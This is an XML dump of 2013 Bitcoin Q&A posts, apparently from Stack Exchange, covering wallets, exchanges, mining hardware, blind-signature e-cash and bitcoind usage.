  <row Id="10656" PostTypeId="1" CreationDate="2013-05-07T08:50:41.543" Score="1" ViewCount="311" Body="&lt;p&gt;Sorry, I'm probably not going to use the correct terms here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of, or how to use bitcoind (or of an external library) that can look at or even provide event driven mechanisms to monitor when an address has received equal to or more than a target amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know of the websocket API available from blockchain but I'd ideally do it in house using my own systems if possible.&lt;/p&gt;&#xA;" OwnerUserId="2828" LastActivityDate="2013-05-07T12:06:16.267" Title="Programming a solution to know when a Bitcoin Address has stored a target amount" Tags="|transactions|development|" AnswerCount="1" CommentCount="1" ClosedDate="2013-05-11T16:35:25.043" ContentLicense="CC BY-SA 3.0" />
  <row Id="10657" PostTypeId="2" ParentId="10579" CreationDate="2013-05-07T08:52:26.507" Score="4" Body="&lt;p&gt;BTC-E does not BUY LTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They just have Buyers and Sellers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you buy 1 LTC you do not buy it from BTC-E but from Sellers which are on BTC-E (for example you (Bob) buy 1 LTC on BTC-E. BTC-E make you buy it from 2 sellers (Gerard and Bernard)).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTC-E takes fees for the 'link' between you (buyer) and the sellers.&#xA;You see on BTC-E a list of Buy orders and Sell orders, this is just guys like you. BTC-E is just a link between you and them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to buy fee you have to find people directly that are ready to sell LTC ;) (or find an exchange platform that do not have fees like BC24 which is closed ATM but this is another story)&lt;/p&gt;&#xA;" OwnerUserId="3819" LastActivityDate="2013-05-07T08:52:26.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10658" PostTypeId="2" ParentId="91" CreationDate="2013-05-07T10:12:48.197" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.btcpedia.com/how-to-mine-bitcoins-with-pc-laptop-2/&quot; rel=&quot;nofollow&quot;&gt;Mining Bitcoin&lt;/a&gt; : You can mine bitcoins with your PC. (GPU Required)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://localbitcoins.com/&quot; rel=&quot;nofollow&quot;&gt;Localbitcoins.com&lt;/a&gt; : Here you can find buyers / seller nearby your location.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.mtgox.com&quot; rel=&quot;nofollow&quot;&gt;Mtgox.com&lt;/a&gt; : World's biggest bitcoin exchange.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.btcpedia.com/buy-bitcoins-with-paypal-credit-card/&quot; rel=&quot;nofollow&quot;&gt;Virwox&lt;/a&gt; : Another bitcoin exchange, they also accept Paypal and Credit Cards.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.bitstamp.net&quot; rel=&quot;nofollow&quot;&gt;Bitstamp.net&lt;/a&gt; : Second biggest exchange after MtGox.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4860" LastActivityDate="2013-05-07T10:12:48.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10659" PostTypeId="2" ParentId="2293" CreationDate="2013-05-07T10:18:09.613" Score="-1" Body="&lt;p&gt;Virwox Exchange is my favorite. I live in INDIA and we don't have Bitinstant support here so Virwox is the fastest and trustworthy option for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They do charge a premium, but you can always get a good price if you wait for a while before buying or selling BTC’s until the BTC exchange rates in the VirWox marketplace are within your target range.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For detailed instructions &lt;a href=&quot;http://www.btcpedia.com/buy-bitcoins-with-paypal-credit-card/&quot; rel=&quot;nofollow&quot;&gt;check here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4860" LastActivityDate="2013-05-07T10:18:09.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10660" PostTypeId="1" CreationDate="2013-05-07T10:34:17.860" Score="2" ViewCount="10169" Body="&lt;p&gt;I got the address for my account on a site and wrote it down. As I had had a huge hassle buying my bitcoin that morning due to problems with the vendor's site (and which they denied was at their end for 3 or more hours, nearly drove me spare) I was flusterred quite badly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, for some reason that is still not apparent to me I clicked on a button saying &quot;generate new account&quot;. However, as the site kicked me out due to poor connectivity and it flagged me that &quot;your request could not be processed&quot;, I sent the bitcoin off to the address I had written down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some hours later I went to the site to check my balance...my funds were not there. There was A NEW ADDRESS for sending bitcoin to in my account details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, it would appear that I have sent my bitcoin to a valid address that is now redundant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What will happen to my bitcoins? Will they bounce around for a few days before coming back or will they just disappear into the ether?&lt;/p&gt;&#xA;" OwnerUserId="4879" LastActivityDate="2021-02-21T22:35:58.527" Title="Bitcoin sent to a defunct address - what happens to it?" Tags="|transactions|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10661" PostTypeId="2" ParentId="10660" CreationDate="2013-05-07T10:43:58.483" Score="3" Body="&lt;p&gt;If the address is valid then the bitcoins will stay there until spent.  If you don't have the private key for that address they are now unspendable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in general Bitcoin uses addresses in a different way to that which might be considered immediately obvious.  An address is generally considered a single-use item and as such it is entirely possible that your wallet contains the private key for the address to which you sent these coins, as well as any other addresses which you might have created.  Take a look at your wallet to see if it is present.&lt;/p&gt;&#xA;" OwnerUserId="3187" LastActivityDate="2013-05-07T10:43:58.483" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10662" PostTypeId="1" AcceptedAnswerId="10663" CreationDate="2013-05-07T11:53:34.197" Score="0" ViewCount="396" Body="&lt;p&gt;I do not understand &lt;strong&gt;where the value of the bitcoin comes from&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In old times people were trading in gold or silver. They began to deposit the gold coins in banks and started to trade with these deposit certificates. The deposit certificates became paper money. Then the convertibility of paper money for gold was abandoned, but the paper money had its &lt;strong&gt;momentum&lt;/strong&gt; so it remains in use today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how did bitcoin get its &lt;strong&gt;momentum&lt;/strong&gt;? I understand that to get bitcoins, you need to compute some cryptographical puzzles, so the amount of bitcoins is proportional to the computational time spent. But is this computaitonal time spent usefully as in industry, or is it just spent for the sake of gathering the bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="4880" LastActivityDate="2013-05-07T11:58:08.540" Title="How is the real world value of bitcoins generated?" Tags="|value|" AnswerCount="1" CommentCount="2" ClosedDate="2013-05-09T21:42:12.597" ContentLicense="CC BY-SA 3.0" />
  <row Id="10663" PostTypeId="2" ParentId="10662" CreationDate="2013-05-07T11:58:08.540" Score="2" Body="&lt;p&gt;BTC works as any currency. As long as people see value in it, it has value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The momentum was just the curiosity the users had... Also the whole &quot;Make free money with your computer&quot;- thing which was started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A big influence was the famous &quot;How does bitcoins work&quot; video I saw on vimeo. That got ME started at least. (&lt;a href=&quot;http://vimeo.com/63502573&quot; rel=&quot;nofollow&quot;&gt;Link to updated version&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The algorithms your computer solves when &quot;mining&quot; isn't used for anything no.&#xA;There are also other kinds of crypto currencies on the rise. The most notable is &lt;strong&gt;Litecoin&lt;/strong&gt;. It uses a different algorithm. (Scrypt, instead of BTC's double sha256). The point of Litecoin was to make users able to &quot;mine&quot; more efficiently on their CPU's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this somewhat answered your question.&lt;/p&gt;&#xA;" OwnerUserId="4867" LastActivityDate="2013-05-07T11:58:08.540" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10664" PostTypeId="2" ParentId="10656" CreationDate="2013-05-07T12:06:16.267" Score="2" Body="&lt;p&gt;A rough solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the account is in your wallet, you can use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitcoind getreceivedbyaddress &quot;ADDRESS&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to get the amount of bitcoins received by ADDRESS. You can put that line inside an infinite loop. You could create a shell program which stores the result in a variable every 30 seconds (using sleep) and compare it to the previous value. If you subtract the values and find a difference above a threshold you can make the script alert you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can be more specific if you tell me your preferences (Python, Linux shell...) &lt;/p&gt;&#xA;" OwnerUserId="2281" LastActivityDate="2013-05-07T12:06:16.267" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10666" PostTypeId="2" ParentId="9544" CreationDate="2013-05-07T13:53:31.460" Score="28" Body="&lt;p&gt;Here's the basic idea of blind signing in Chaumian e-cash:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's suppose that a central issuer (Chaumian e-cash is centralised) has &lt;strong&gt;an account in my name with a value of 10 dollars&lt;/strong&gt;.  In order to &quot;withdraw&quot; this money as 1-dollar &quot;bills&quot; I begin by generating ten random serial numbers, each long enough that I can be reasonably sure no one else will generate the same numbers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am going to have the central issuer sign &lt;strong&gt;a message saying these are now worth one dollar each&lt;/strong&gt;, only I don't want the issuer to know which bill is which (otherwise they could just match up outgoing and incoming serial numbers to know who I spent it with, since Chaumian e-cash can only be spent once before it has to be re-issued).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in addition to the serial numbers I also choose secret &lt;strong&gt;'blinding factors'&lt;/strong&gt; and combine them with my serial numbers.  I give these blinded serial numbers to the central issuer, and they sign each one with their 1-dollar key (they have different keys for different denominations) and reduce the amount in my account with them accordingly.  They know how many 1-dollar bills they signed, but they don't know what serial numbers were on each bill they signed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the trick with &quot;blind signing&quot; comes in.  Because of how blind signing works, I can now remove the blinding factor, but I still have a valid signed message which can be verified using the issuer's public key.  This gives me &lt;strong&gt;a signed one dollar bill with its own serial number&lt;/strong&gt; that the bank doesn't know (but they do know &lt;em&gt;how many&lt;/em&gt; one dollar bills they have signed, because each one can only be un-blinded to a single serial number).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, to spend the bills to someone else, I simply show them the &lt;strong&gt;un-blinded, signed serial number&lt;/strong&gt;.  They must now immediately &quot;cash in&quot; this token by going to the central issuer and showing them the signed serial number.  The central issuer verifies the signature using their &quot;1 dollar&quot; key, records the serial number, and credits the new person's account.  From their perspective, &lt;strong&gt;this dollar is indistinguishable from any other they have issued in the past&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if someone else shows up and tries to cash in the same dollar again, they will not honour it because they have already recorded the serial number as spent.  You also cannot spend a $1 serial number as a $50 serial number because $50 serial numbers use a different key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;More details about e-cash, including an &quot;offline mode&quot; that relies on trusted hardware, can be found &lt;a href=&quot;http://www.cs.bham.ac.uk/~mdr/teaching/modules06/netsec/lectures/DigitalCash.html&quot;&gt;here&lt;/a&gt;&lt;/strong&gt;.  They use a different method of ensuring a $1 bill is not spent as a $50 bill--I don't remember which variant is whose but there are several of them which basically accomplish the same thing in slightly different ways.&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2013-05-07T13:53:31.460" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10667" PostTypeId="2" ParentId="7923" CreationDate="2013-05-07T14:58:16.963" Score="5" Body="&lt;p&gt;You can buy some Ripple (XRP) from &lt;a href=&quot;http://www.bitstamp.net&quot;&gt;Bitstamp&lt;/a&gt;. At the time of writing, they were selling 50 XRP / 1 USD.&lt;/p&gt;&#xA;" OwnerUserId="4860" LastActivityDate="2013-05-07T14:58:16.963" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10668" PostTypeId="2" ParentId="10472" CreationDate="2013-05-07T17:06:16.923" Score="6" Body="&lt;p&gt;I agree with RentFree's answer, but another part of the answer is the cost of capital. ButterflyLabs did not have the cash on hand to build its ASIC design or to manufacture all of the rigs. That's why they had their pre-order process: collecting the money up front was the only way they could afford to build the rigs. (Once they had built them, of course, they could have defaulted on their promises and used the units to mine for themselves instead of delivering them. But that would have had long term consequences to their reputation. I don't think the question was really asking if they should commit fraud, just whether they should keep their design private.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question does raise the question of whether it would be possible for a different company other than BFL (say a private equity firm with deep pockets) might fund their own ASIC mining rig and not release it to the public. I wouldn't say it's impossible, but it does have several factors against it. Firstly, RentFree's answer: that a private ASIC design strategy would have a lot of inherent risk. But there's also the issue that much of the cost of building an ASIC rig is in the design of the chip. Once our hypothetic private equity firm has spent the money to design the chip, the margin on individual rigs would be fairly high. So, at that point, there would be little incentive for them to refuse to sell the rigs to others. (Even if it raised the mining difficulty for their private rigs.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, while there is nothing to say the ButterflyLabs (or other ASIC manufacturers) might not use some of their rigs (or test rigs) for mining, the business model of these types of companies wouldn't work very well if they didn't sell the majority of their machines: the upfront capital costs are too high and the incremental profit margin is too tempting.&lt;/p&gt;&#xA;" OwnerUserId="3439" LastActivityDate="2013-05-07T17:06:16.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10669" PostTypeId="2" ParentId="10472" CreationDate="2013-05-07T17:33:59.180" Score="1" Body="&lt;p&gt;I believe it's primarily because at such a large leap forward the bitcoin network would fail. I've read for starters that if someone owned over 50% of the hashing power the network would be compromised, I don't know this to be true or otherwise, but what I do know is, Bitcoins have little value if no one is trading them because their value is based on trust. If one company drove up the difficulty and also had a large majority of the coins out there then people would lose interest in the bitcoin network and therefore they'd not have all that much value either another network would ultimately just replace it.&lt;/p&gt;&#xA;" OwnerUserId="2828" LastEditorUserId="-1" LastEditDate="2013-05-22T09:54:10.977" LastActivityDate="2013-05-22T09:54:10.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10670" PostTypeId="1" AcceptedAnswerId="10677" CreationDate="2013-05-07T17:34:39.450" Score="5" ViewCount="1366" Body="&lt;p&gt;Trezor is one of the leading implementation of a &lt;a href=&quot;https://en.bitcoin.it/wiki/Hardware_wallet&quot; rel=&quot;nofollow&quot;&gt;hardware wallet&lt;/a&gt;. Its first generation won't support multisig ... because the Bitcoin network itself doesn't have strong multisig support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens if a Trezor is lost or stolen? Where are the private keys it guards backed up? Is a password required to release funds stored on it?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2017-07-01T14:12:27.637" LastActivityDate="2017-07-02T11:45:39.913" Title="What happens when a Trezor is lost?" Tags="|wallet|hardware-wallet|trezor|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10671" PostTypeId="1" CreationDate="2013-05-07T17:35:00.873" Score="10" ViewCount="2232" Body="&lt;p&gt;Specifically I'm looking for Armory-like functionality where the transaction can be generated on an online system, transported to an offline android tablet or netbook via USB or QR code where it can be signed, then transported back to an online system where it can be broadcast.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2018-04-02T19:04:07.407" Title="Do any of the Android-based wallets support cold storage?" Tags="|client|android|coldstorage|offline|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10672" PostTypeId="1" CreationDate="2013-05-07T18:17:59.653" Score="1" ViewCount="120" Body="&lt;p&gt;I'm making an order book for MtGox, but the market depth file is huge and I'm really only interested in values near the inside prices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to place price bounds on the mtgox market depth request &lt;code&gt;http://data.mtgox.com/api/1/BTCUSD/depth/fetch&lt;/code&gt; and if so how? &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-05-07T18:17:59.653" Title="Placing price bounds on MtGox market depth api request" Tags="|mtgox|api|market-depth|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10673" PostTypeId="5" CreationDate="2013-05-07T18:26:25.057" Score="0" Body="&lt;p&gt;Technical analysis is a security analysis methodology for forecasting the direction of prices through the study of past market data, primarily price and volume. Using charts, technical analysts seek to identify price patterns and market trends in financial markets and attempt to exploit those patterns.[10]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Excerpted from the &lt;a href=&quot;http://en.wikipedia.org/wiki/Technical_analysis&quot; rel=&quot;nofollow&quot;&gt;Wikipedia article on technical analysis&lt;/a&gt; which has information on many of the techniques and characteristics of financial technical analysis.&lt;/p&gt;&#xA;" OwnerUserId="3439" LastEditorUserId="3439" LastEditDate="2013-05-07T19:28:15.443" LastActivityDate="2013-05-07T19:28:15.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10674" PostTypeId="4" CreationDate="2013-05-07T18:26:25.057" Score="0" Body="Technical analysis is a security analysis methodology for forecasting the direction of prices through the study of past market data, primarily price and volume. Using charts, technical analysts seek to identify price patterns and market trends in financial markets and attempt to exploit those patterns.[10]" OwnerUserId="3439" LastEditorUserId="3439" LastEditDate="2013-05-07T19:28:01.787" LastActivityDate="2013-05-07T19:28:01.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10675" PostTypeId="2" ParentId="9739" CreationDate="2013-05-07T18:30:36.827" Score="1" Body="&lt;p&gt;This field is used to spcify the currency pair type of the return data, so leaving in &lt;code&gt;BTCUSD&lt;/code&gt; works fine or changing it to a different accepted currency pair, such as &lt;code&gt;BTCEUR&lt;/code&gt;, also works and just changes the currency denomination of the returned data.  &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-05-07T18:30:36.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10676" PostTypeId="1" AcceptedAnswerId="10679" CreationDate="2013-05-07T18:33:46.640" Score="6" ViewCount="11124" Body="&lt;p&gt;First of all, i would like to say, i really don't want this thread to be some debate about your favorite video card manufacturer. So please just take that elsewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have heard from a lot of people that ATI &amp;amp; Open CL is much better for mining than NVidia with Cuda.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i first heard this i was kind of shocked, because pretty much everything i have ever heard in the past was that Nvidia's Cuda was quite powerful at solving mathematical problems, and I even had a couple university professors that swore by Nvida cards over ATI for this very reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what is it, about the Bitcoin and Litecoin algorithms that make it so much easier for ATI cards, or should i say harder for NVidia cards?  I want to understand the technical reason behind the common knowledge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="4829" LastActivityDate="2013-08-19T17:33:13.257" Title="ATI OpenCL V.S. NVidia Cuda Cores" Tags="|gpu|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10677" PostTypeId="2" ParentId="10670" CreationDate="2013-05-07T18:43:35.580" Score="6" Body="&lt;p&gt;If I remember correctly, the Trezor uses deterministic wallets, as specified in BIP 0032.  That means that the device will give you a sentence that the wallet can be regenerated from, in case it's lost.&lt;/p&gt;&#xA;" OwnerUserId="3536" LastActivityDate="2013-05-07T18:43:35.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10679" PostTypeId="2" ParentId="10676" CreationDate="2013-05-07T19:00:21.623" Score="8" Body="&lt;p&gt;In many ways, it is just coincidental that GPUs are going at hashing. It doesn't surprise me that some GPU engines are a better fit than others. A particular GPU might be very good at some types of mathematical operations (or rendering, for that matter) but might not be particularly good for hashing.&lt;/p&gt;&#xA;&lt;p&gt;This is discussed in some detail on the &lt;a href=&quot;https://en.bitcoin.it/wiki/Why_a_GPU_mines_faster_than_a_CPU&quot; rel=&quot;noreferrer&quot;&gt;bitcoin.it wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Firstly, AMD designs GPUs with many simple ALUs/shaders (VLIW design) that run at a relatively low frequency clock (typically 1120-3200 ALUs at 625-900 MHz), whereas Nvidia's microarchitecture consists of fewer more complex ALUs and tries to compensate with a higher shader clock (typically 448-1024 ALUs at 1150-1544 MHz). Because of this VLIW vs. non-VLIW difference, Nvidia uses up more square millimeters of die space per ALU, hence can pack fewer of them per chip, and they hit the frequency wall sooner than AMD which prevents them from increasing the clock high enough to match or surpass AMD's performance. This translates to a raw ALU performance advantage for AMD:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;AMD Radeon HD 6990: 3072 ALUs x 830 MHz = 2550 billion 32-bit instruction per second&#xA;( Nvidia GTX 590: 1024 ALUs x 1214 MHz = 1243 billion 32-bit instruction per second&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This approximate 2x-3x performance difference exists across the entire range of AMD and Nvidia GPUs. It is very visible in all ALU-bound GPGPU workloads such as Bitcoin, password bruteforcers, etc.&lt;/p&gt;&#xA;&lt;p&gt;Secondly, another difference favoring Bitcoin mining on AMD GPUs instead of Nvidia's is that the mining algorithm is based on SHA-256, which makes heavy use of the 32-bit integer right rotate operation. This operation can be implemented as a single hardware instruction on AMD GPUs (BIT_ALIGN_INT), but requires three separate hardware instructions to be emulated on Nvidia GPUs (2 shifts + 1 add). ?This alone gives AMD another 1.7x performance advantage (~1900 instructions instead of ~3250 to execute the SHA-256 compression function).&lt;/p&gt;&#xA;&lt;p&gt;Combined together, these 2 factors make AMD GPUs overall 3x-5x faster when mining Bitcoins.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This is also discussed in a &lt;a href=&quot;https://bitcointalk.org/index.php?topic=16356.0&quot; rel=&quot;noreferrer&quot;&gt;bitcoin talk thread&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3439" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-05-08T13:36:50.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10680" PostTypeId="1" CreationDate="2013-05-07T19:54:34.680" Score="0" ViewCount="965" Body="&lt;p&gt;The below is the response we get. could someone please explain what each element is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;type RawTransaction struct {    Blockhash     string    BlockTS       uint32 json:&quot;blocktime&quot;    Confirmations int    Hex           string    Locktime      int    TXTS          uint32 json:&quot;time&quot;    TXID          string    Version       int    Vin           []struct {        ScriptSig struct {            Asm string            Hex string        }        Seqeuence int64        TXID      string        Vout      int    }    Vout []struct {        N            int        ScriptPubKey struct {            Addresses []string            Asm       string            Hex       string            ReqSigs   int            Type      string        }        Value Amount    } }&lt;/p&gt;&#xA;" OwnerUserId="3014" LastActivityDate="2014-04-21T02:48:59.500" Title="Bitcoin RawTransaction Json - what do all the variables mean" Tags="|bitcoind|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10683" PostTypeId="1" AcceptedAnswerId="10695" CreationDate="2013-05-08T04:28:13.610" Score="1" ViewCount="627" Body="&lt;p&gt;Their amazing API documentation (&lt;a href=&quot;https://btc-e.com/api/documentation&quot; rel=&quot;nofollow&quot;&gt;https://btc-e.com/api/documentation&lt;/a&gt;) shows a field called &lt;code&gt;is_your_order&lt;/code&gt;. Not sure what it means and they certainly don't explain it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know?&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2014-04-12T22:30:41.770" Title="What does the is_your_order field mean in a btc-e response?" Tags="|api|btce|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10685" PostTypeId="2" ParentId="10436" CreationDate="2013-05-08T05:05:22.700" Score="5" Body="&lt;p&gt;Their website does have &lt;a href=&quot;http://bitpay.com/bitcoin-exchange-rates&quot; rel=&quot;nofollow&quot;&gt;the methodology by which the exchange rates are calculated&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4892" LastEditorUserId="5822" LastEditDate="2013-11-29T16:20:47.100" LastActivityDate="2013-11-29T16:20:47.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10686" PostTypeId="1" CreationDate="2013-05-08T05:26:07.157" Score="6" ViewCount="551" Body="&lt;p&gt;I have 1GB of memory to work with on my VPS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to run bitcoind as well as a few other crypto currency daemons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it stands, number of connections seem to be the only value I can change that has any impact on my memory usage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have bitcoind set to 10 connections at the moment and it is consuming a steady 400MB of memory during this time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the consequences of lowering the number of connections to say 2 or 1?&lt;/p&gt;&#xA;" OwnerUserId="3145" LastActivityDate="2013-12-04T19:53:38.923" Title="What are the risks of running an online store via a bitcoind connection using less than the minimum of 8 connections?" Tags="|bitcoind|connection|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10687" PostTypeId="1" AcceptedAnswerId="10693" CreationDate="2013-05-08T05:40:45.980" Score="47" ViewCount="13820" Body="&lt;p&gt;As I understand it,when mining BTC, and calculating a block, the goal is to find a SHA-256 hash below a certain value (with the previous block, a nonce, and other things as the input).  Are pool miners all performing that calculation directly (just with different nonces?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, what prevents the miner who &quot;finds&quot; the block from keeping it, and not reporting it back to the pool?  I'm assuming there's some safeguard here, and the miners aren't actually going to find the full solution.&lt;/p&gt;&#xA;" OwnerUserId="4851" LastActivityDate="2019-08-14T14:32:44.737" Title="What prevents a pool miner from stealing an entire block?" Tags="|mining-pools|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10691" PostTypeId="2" ParentId="7768" CreationDate="2013-05-08T08:04:18.820" Score="0" Body="&lt;p&gt;People are definitely spending bitcoins--&lt;strong&gt;&lt;a href=&quot;http://blog.bitpay.com/2013/04/bitpay-eclipses-silk-road-in-bitcoin.html&quot; rel=&quot;nofollow&quot;&gt;BitPay Inc processed over 5.2 Million dollars worth of eCommerce in March 2013&lt;/a&gt;&lt;/strong&gt;, and that was before the full media glut of April.  Some excerpts from their blog:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This eCommerce activity from merchants selling computers, consumer&#xA;  electronics, precious metals, and even government services has likely&#xA;  eclipsed the illicit activity widely estimated from sites like Silk&#xA;  Road.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;BitPay has also approved over 1,300 new merchant applications during&#xA;  the month of March, bringing their total number of approved merchants&#xA;  to over 4,500.  The explosive growth in BitPay’s business comes after&#xA;  February’s payment processing volume of $687,000 in transactions with&#xA;  2,300 completed invoices.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;BitPay is even &lt;a href=&quot;https://bitpay.com/careers&quot; rel=&quot;nofollow&quot;&gt;hiring&lt;/a&gt; right now, though for software engineers rather than sysadmins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly, &lt;strong&gt;&lt;a href=&quot;http://blog.coinbase.com/post/49782323057/coinbase-now-processing-15m-per-month-in-bitcoin-buys&quot; rel=&quot;nofollow&quot;&gt;Coinbase reported recently that they are processing 15 Million dollars per month.&lt;/a&gt;&lt;/strong&gt;  Their business is a combination of eCommerce and Exchange activity, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Talking more specifically about your desire to be paid in bitcoins, &lt;a href=&quot;http://thenextweb.com/eu/2013/03/15/finnish-software-company-offers-employees-to-pay-part-of-their-salary-in-bitcoin/&quot; rel=&quot;nofollow&quot;&gt;Finnish Company SC5&lt;/a&gt; and &lt;a href=&quot;http://www.paritynews.com/web-news/item/690-the-internet-archive-starts-accepting-bitcoin-donations&quot; rel=&quot;nofollow&quot;&gt;the Internet Archive&lt;/a&gt; are both well known companies who have decided to give their employees the option to receive partial compensation in bitcoins; while &lt;a href=&quot;http://help.expensify.com/bitcoin/&quot; rel=&quot;nofollow&quot;&gt;Expensify supports Bitcoin as an option for employee reimbursement&lt;/a&gt;, focussing especially on the international use case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note the &quot;partial&quot; part of the above, however.  &lt;strong&gt;Bitcoin is very good at certain things, but it's probably not very good at being your whole salary&lt;/strong&gt;, at least not at present.  Bitcoin thrives in being global, irreversible, and fast--not stable.  I'm a huge Bitcoin fan, and I'd advise taking your salary at least partly in something else.  It would suck to have a market fluctuation wipe out your ability to pay bills!  It's better to hold and use amounts of Bitcoin you can afford to lose, seeing as how the technology is still early and experimental.&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2013-05-08T08:04:18.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
